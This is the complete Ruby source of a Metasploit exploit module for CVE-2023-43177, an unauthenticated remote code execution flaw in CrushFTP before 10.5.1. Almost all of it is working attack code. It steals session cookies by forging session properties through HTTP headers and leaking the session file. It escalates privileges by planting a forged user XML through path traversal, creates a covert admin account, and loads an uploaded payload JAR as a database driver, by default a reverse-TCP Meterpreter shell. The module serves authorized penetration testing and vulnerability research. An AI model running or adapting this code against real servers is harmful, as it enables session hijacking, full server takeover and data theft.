CrushFTP Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader
  prepend Msf::Exploit::Remote::AutoCheck

  class CrushFtpError < StandardError; end
  class CrushFtpNoAccessError < CrushFtpError; end
  class CrushFtpNotFoundError < CrushFtpError; end
  class CrushFtpUnknown < CrushFtpError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CrushFTP Unauthenticated RCE',
        'Description' => %q{
          This exploit module leverages an Improperly Controlled Modification
          of Dynamically-Determined Object Attributes vulnerability
          (CVE-2023-43177) to achieve unauthenticated remote code execution.
          This affects CrushFTP versions prior to 10.5.1.

          It is possible to set some user's session properties by sending an HTTP
          request with specially crafted Header key-value pairs. This enables an
          unauthenticated attacker to access files anywhere on the server file
          system and steal the session cookies of valid authenticated users. The
          attack consists in hijacking a user's session and escalates privileges
          to obtain full control of the target. Remote code execution is obtained
          by abusing the dynamic SQL driver loading and configuration testing
          feature.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ryan Emmons', # Initial research, discovery and PoC
          'Christophe De La Fuente' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'],
          [ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'],
          [ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'],
          [ 'CVE', '2023-43177'],
          [ 'CWE', '913' ]
        ],
        'Platform' => %w[java unix linux win],
        'Privileged' => true,
        'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86],
        'Targets' => [
          [
            'Java',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java',
              # If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.
              # If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be
              # used and the payload will fail if the target is not local (most likely).
              # To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.
              'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'linux'
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'win'
            }
          ],
        ],
        'DisclosureDate' => '2023-08-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']),
        OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30])
      ]
    )
  end

  def send_as2_query_api(headers = {})
    rand_username = rand_text_hex(10)
    opts = {
      'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'),
      'method' => 'POST',
      'headers' => {
        'as2-to' => rand_text_hex(8),
        # Each key-value pair will be added into the current session’s
        # `user_info` Properties, which is used by CrushFTP to store information
        # about a user's session. Here, we set a few properties needed for the
        # exploit to work.
        'user_ip' => '127.0.0.1',
        'dont_log' => 'true',
        # The `user_name` property will be be included in the response to a
        # `getUsername` API query. This will be used to make sure the operation
        # worked and the other key-value pairs were added to the session's
        # `user_info` Properties.
        'user_name' => rand_username
      }.merge(headers)
    }

    # This only works with anonymous sessions, so `#get_anon_session` should be
    # called before to make sure the cookie_jar is set with an anonymous
    # session cookie.
    res = send_request_cgi(opts)
    raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil?

    xml_response = res.get_xml_document
    if xml_response.xpath('//loginResult/response').text != 'success'
      raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response'
    end

    # Checking the forged username returned in the response
    unless xml_response.xpath('//loginResult/username').text == rand_username
      raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn't work'
    end

    res
  end

  def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)
    opts = {
      'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'),
      'method' => 'POST'
    }
    if multipart
      opts['vars_form_data'] = [
        {
          'name' => 'command',
          'data' => command
        },
      ]
      unless cookie.blank?
        opts['vars_form_data'] << {
          'name' => 'c2f',
          'data' => cookie.last(4)
        }
      end
      opts['vars_form_data'] += vars unless vars.empty?
    else
      opts['vars_post'] = {
        'command' => command
      }.merge(vars)
      opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank?
    end
    opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil?

    res = send_request_cgi(opts, timeout)
    raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil?

    res
  end

  def get_anon_session
    vprint_status('Getting a new anonymous session')
    cookie_jar.clear
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'WebInterface'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil?

    match = res.get_cookies.match(/CrushAuth=(?<cookie>d{13}_[A-Za-z0-9]{30})/)
    raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match

    vprint_status("Anonymous session cookie: #{match[:cookie]}")
    match[:cookie]
  end

  def check
    vprint_status('Checking CrushFTP Server')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),
      'method' => 'GET'
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
    return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i

    cookie = get_anon_session

    vprint_status('Checking if the attack primitive works')
    # This will raise an exception in case of error
    send_as2_query_api

    do_logout(cookie)

    CheckCode::Appears
  rescue CrushFtpError => e
    CheckCode::Unknown("#{e.class} - #{e.message}")
  end

  def rand_dir
    @rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/"
  end

  def get_session_file
    # Setting this here to be reachable by the ensure block
    cookie = nil
    begin
      cookie = get_anon_session
    rescue CrushFtpError => e
      print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}")
      return nil
    end

    vprint_status("Getting session file at `#{rand_dir}`")
    headers = {
      'filename' => '/',
      'user_protocol_proxy' => rand_text_hex(8),
      'user_log_file' => 'sessions.obj',
      'user_log_path' => './',
      'user_log_path_custom' => File.join('.', rand_dir)
    }
    send_as2_query_api(headers)
    formatted_dir = File.join('.', rand_dir.delete_suffix('/'))
    register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'),
      'method' => 'GET'
    )
    unless res&.code == 200
      print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil?
      print_bad('[get_session_file] Could not steal the session file')
      return nil
    end
    print_good('Session file downloaded')

    tmp_hash = Rex::Text.md5(res.body)
    if @session_file_hash == tmp_hash
      vprint_status('Session file has not changed yet, skipping')
      return nil
    end
    @session_file_hash = tmp_hash

    res.body
  rescue CrushFtpError => e
    print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}")
    return nil
  ensure
    do_logout(cookie) if cookie
  end

  def check_sessions(session_file)
    valid_sessions = []
    session_cookies = session_file.scan(/d{13}_[A-Za-z0-9]{30}/).uniq
    vprint_status("Found #{session_cookies.size} session cookies in the session file")
    session_cookies.each do |cookie|
      res = send_query_api(command: 'getUsername', cookie: cookie)
      username = res.get_xml_document.xpath('//loginResult/username').text
      if username == 'anonymous'
        vprint_status("Cookie `#{cookie}` is an anonymous session")
      elsif username.empty?
        vprint_status("Cookie `#{cookie}` is not valid")
      else
        vprint_status("Cookie `#{cookie}` is valid session (username: #{username})")
        valid_sessions << { cookie: cookie, username: username }
      end
    rescue CrushFtpError => e
      print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}")
    end
    valid_sessions
  end

  def check_admin_and_windows(cookie)
    res = send_query_api(command: 'getDashboardItems', cookie: cookie)

    is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text
    return nil if is_windows.blank?
    return true if is_windows == 'true'

    false
  rescue CrushFtpError
    vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session")
    nil
  end

  def get_writable_dir(path, cookie)
    res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" })
    xml_doc = res.get_xml_document
    current_path = xml_doc.xpath('//listingInfo/path').text
    if xml_doc.xpath('//listingInfo/privs').text.include?('(write)')
      return current_path
    end

    res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem|
      if subitem.at('type').text == 'DIR'
        dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie)
        return dir unless dir.nil?
      end
    end

    nil
  rescue CrushFtpError => e
    print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}")
    nil
  end

  def upload_file(file_path, file_content, id, cookie)
    file_size = file_content.size
    vars = [
      { 'name' => 'upload_path', 'data' => file_path },
      { 'name' => 'upload_size', 'data' => file_size },
      { 'name' => 'upload_id', 'data' => id },
      { 'name' => 'start_resume_loc', 'data' => '0' }
    ]
    res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true)
    response_msg = res.get_xml_document.xpath('//commandResult/response').text
    if response_msg != id
      raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}"
    end

    form_data = Rex::MIME::Message.new
    form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name="CFCD"; filename="#{file_path}"")
    post_data = form_data.to_s
    post_data.sub!("Content-Transfer-Encoding: binaryrn", '')

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"),
      'method' => 'POST',
      'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}",
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => post_data
    )

    vars = [
      { 'name' => 'upload_id', 'data' => id },
      { 'name' => 'total_chunks', 'data' => '1' },
      { 'name' => 'total_bytes', 'data' => file_size },
      { 'name' => 'filePath', 'data' => file_path },
      { 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') },
      { 'name' => 'start_resume_loc', 'data' => '0' }
    ]
    send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true)
  end

  def check_egg(session_file, egg)
    path = session_file.match(%r{FILE://.*?#{egg}})
    return nil unless path

    path = path[0]
    vprint_status("Found the egg at #{path} in the session file")
    if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}}))
      print_good("Found path `#{match[:path]}` and it is Windows")
    elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}}))
      print_good("Found path `#{match[:path]}` and it is Unix-like")
    end
    match[:path]
  end

  def move_user_xml(admin_username, writable_dir)
    headers = {
      'filename' => '/',
      'user_protocol_proxy' => rand_text_hex(8),
      'user_log_file' => 'user.XML',
      'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}",
      'user_log_path_custom' => "./users/MainUsers/#{admin_username}/"
    }
    send_as2_query_api(headers)
  end

  def do_priv_esc_and_check_windows(session)
    vprint_status('Looking for a directory with write permissions')
    writable_dir = get_writable_dir('/', session[:cookie])
    if writable_dir.nil?
      print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible')
      return nil
    end
    print_good("Found a writable directory: #{writable_dir}")

    egg_rand = rand_text_hex(10)
    print_status("Uploading the egg file `#{egg_rand}`")
    egg_path = File.join(writable_dir, egg_rand)
    begin
      upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])
    rescue CrushFtpError => e
      print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}")
      return nil
    end

    admin_password = rand_text_hex(10)
    user_xml = <<~XML.gsub!(/n */, '')
      <?xml version='1.0' encoding='UTF-8'?>
      <user type='properties'>
        <username>#{session[:username]}</username>
        <password>MD5:#{Rex::Text.md5(admin_password)}</password>
        <extra_vfs type='vector'></extra_vfs>
        <version>1.0</version>
        <userVersion>6</userVersion>
        <created_by_username>crushadmin</created_by_username>
        <created_by_email></created_by_email>
        <created_time>#{DateTime.now.strftime('%Q')}</created_time>
        <filePublicEncryptionKey></filePublicEncryptionKey>
        <fileDecryptionKey></fileDecryptionKey>
        <max_logins>0</max_logins>
        <root_dir>/</root_dir>
        <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
        <password_history></password_history>
      </user>
    XML
    xml_path = File.join(writable_dir, 'user.XML')
    print_status("Uploading `user.XML` to #{xml_path}")
    begin
      upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])
    rescue CrushFtpError => e
      print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}")
      return nil
    end

    path = nil
    loop do
      print_status('Looking for the egg in the session file')
      session_file = get_session_file
      if session_file
        path = check_egg(session_file, egg_rand)
        break if path
      end
      print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
      sleep datastore['SESSION_FILE_DELAY']
    end
    print_good("Found the file system path: #{path}")
    register_files_for_cleanup(File.join(path, egg_rand))

    cookie = nil
    begin
      cookie = get_anon_session
    rescue CrushFtpError => e
      print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}")
      return nil
    end
    admin_username = rand_text_hex(10)
    vprint_status("The forged user will be `#{admin_username}`")
    vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges")
    is_windows = path.match(/^[A-Z]:(?<path>.*)/)
    move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)

    do_logout(cookie)
    # `cookie` is explicitly set to `nil` here to make sure the ensure block
    # won't log it out again if the next call to `do_login` raises an
    # exception. Without this line, if `do_login` raises an exception, `cookie`
    # will still contain the value of the previous session cookie, which should
    # have been logged out at this point. The ensure block will try to logout
    # the same session again.
    cookie = nil

    print_status('Logging into the elevated account')
    cookie = do_login(admin_username, admin_password)
    fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie

    print_good('Logged in! Now let's create a temporary admin account')
    [create_admin_account(cookie, is_windows), is_windows]
  ensure
    do_logout(cookie) if cookie
  end

  def create_admin_account(cookie, is_windows)
    # This creates an administrator account with the required VFS setting for the exploit to work
    admin_username = rand_text_hex(10)
    admin_password = rand_text_hex(10)
    user_xml = <<~XML.gsub!(/n */, '')
      <?xml version='1.0' encoding='UTF-8'?>
      <user type='properties'>
        <username>#{admin_username}</username>
        <password>#{admin_password}</password>
        <extra_vfs type='vector'></extra_vfs>
        <version>1.0</version>
        <userVersion>6</userVersion>
        <created_by_username>crushadmin</created_by_username>
        <created_by_email></created_by_email>
        <created_time>#{DateTime.now.strftime('%Q')}</created_time>
        <filePublicEncryptionKey></filePublicEncryptionKey>
        <fileDecryptionKey></fileDecryptionKey>
        <max_logins>0</max_logins>
        <root_dir>/</root_dir>
        <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
        <password_history></password_history>
      </user>
    XML

    url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/'

    vfs_xml = <<~XML.gsub!(/n */, '')
      <?xml version='1.0' encoding='UTF-8'?>
      <vfs_items type='vector'>
        <vfs_items_subitem type='properties'>
          <name>tmp</name>
          <path>/</path>
          <vfs_item type='vector'>
            <vfs_item_subitem type='properties'>
              <type>DIR</type>
              <url>#{url}</url>
            </vfs_item_subitem>
          </vfs_item>
        </vfs_items_subitem>
      </vfs_items>
    XML

    perms_xml = <<~XML.gsub!(/n */, '')
      <?xml version='1.0' encoding='UTF-8'?>
      <VFS type='properties'>
        <item name='/'>
          (read)(view)(resume)
        </item>
        <item name='/TMP/'>
          (read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)
        </item>
      </VFS>
    XML

    vars_post = {
      'data_action' => 'new',
      'serverGroup' => 'MainUsers',
      'username' => admin_username,
      'user' => user_xml,
      'xmlItem' => 'user',
      'vfs_items' => vfs_xml,
      'permissions' => perms_xml
    }

    res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post)
    return nil if res.body.include?('Access Denied') || res.code == 404

    { username: admin_username, password: admin_password }
  rescue CrushFtpError => e
    print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}")
    nil
  end

  def do_login(username, password)
    vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`")
    vars = {
      'username' => username,
      'password' => password,
      'encoded' => 'true',
      'language' => 'en',
      'random' => "0.#{rand_text_numeric(17)}"
    }
    res = send_query_api(command: 'login', cookie: '', vars: vars)
    unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success')
      print_bad('[do_login] Login failed')
      return nil
    end

    match = res.get_cookies.match(/CrushAuth=(?<cookie>d{13}_[A-Za-z0-9]{30})/)
    unless match
      print_bad('[do_login] Cannot find session cookie in response')
      return nil
    end

    match[:cookie]
  end

  def do_logout(cookie)
    vprint_status("Logging out session cookie `#{cookie}`")
    vars = {
      'random' => "0.#{rand_text_numeric(17)}"
    }
    res = send_query_api(command: 'logout', cookie: cookie, vars: vars)
    unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out')
      vprint_bad('[do_logout] Unable to logout')
    end
  rescue CrushFtpError => e
    vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}")
  end

  def do_rce(cookie, is_windows)
    jar_file = payload.encoded_jar({ arch: payload.arch.first })
    jar_file.add_file("#{class_name}.class", constructor_class)
    jar_filename = "#{rand_text_hex(4)}.jar"
    jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}"

    print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}")
    begin
      upload_file(jar_filename, jar_file.pack, class_name, cookie)
    rescue CrushFtpError => e
      raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}"
    end

    print_status('Triggering the payload')
    vars = {
      'db_driver_file' => jar_path,
      'db_driver' => class_name,
      'db_url' => 'jdbc:derby:./hax;create=true',
      'db_user' => rand_text(3..5),
      'db_pass' => rand_text(10..15)
    }
    begin
      send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0)
    rescue CrushFtpNoAccessError
      # Expecting no response
    end

    register_files_for_cleanup(jar_path)
  end

  def delete_user(username, cookie)
    vars = {
      'data_action' => 'delete',
      'serverGroup' => 'MainUsers',
      'usernames' => username,
      'user' => '<?xml version="1.0" encoding="UTF-8"?>',
      'xmlItem' => 'user',
      'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
      'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>'
    }
    send_query_api(command: 'setUserItem', cookie: cookie, vars: vars)
  end

  def exploit
    admin_creds = nil
    is_windows = nil
    loop do
      print_status('Downloading the session file')
      session_file = get_session_file
      unless session_file
        print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
        sleep datastore['SESSION_FILE_DELAY']
        next
      end

      print_status('Looking for the valid sessions')
      session_list = check_sessions(session_file)
      if session_list.empty?
        print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
        sleep datastore['SESSION_FILE_DELAY']
        next
      end

      # First, check if we have active admin sessions to go ahead and directly go the RCE part.
      session_list.each do |session|
        print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})")
        # This will return nil if it is not an admin session
        is_windows = check_admin_and_windows(session[:cookie])
        next if is_windows.nil?

        print_good('It is an admin! Let's create a temporary admin account')
        admin_creds = create_admin_account(session[:cookie], is_windows)
        break
      end

      # If the previous step failed, try to escalate privileges with the remaining active sessions, if any.
      if admin_creds.nil?
        print_status('Could not find any admin session or the admin account creation failed')
        session_list.each do |session|
          print_status("Attempting privilege escalation with session cookie #{session}")
          admin_creds, is_windows = do_priv_esc_and_check_windows(session)
          break unless admin_creds.nil?
        end
      end

      break unless admin_creds.nil?

      print_status(
        "Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"
        'seconds and try again... (Ctrl-C to exit)'
      )
      sleep datastore['SESSION_FILE_DELAY']
    end

    print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}")

    cookie = do_login(admin_creds[:username], admin_creds[:password])
    fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie

    do_rce(cookie, is_windows)

    print_status('Cleanup the temporary admin account')
    delete_user(admin_creds[:username], cookie)
  rescue CrushFtpError => e
    fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}")
  ensure
    do_logout(cookie) if cookie
  end
end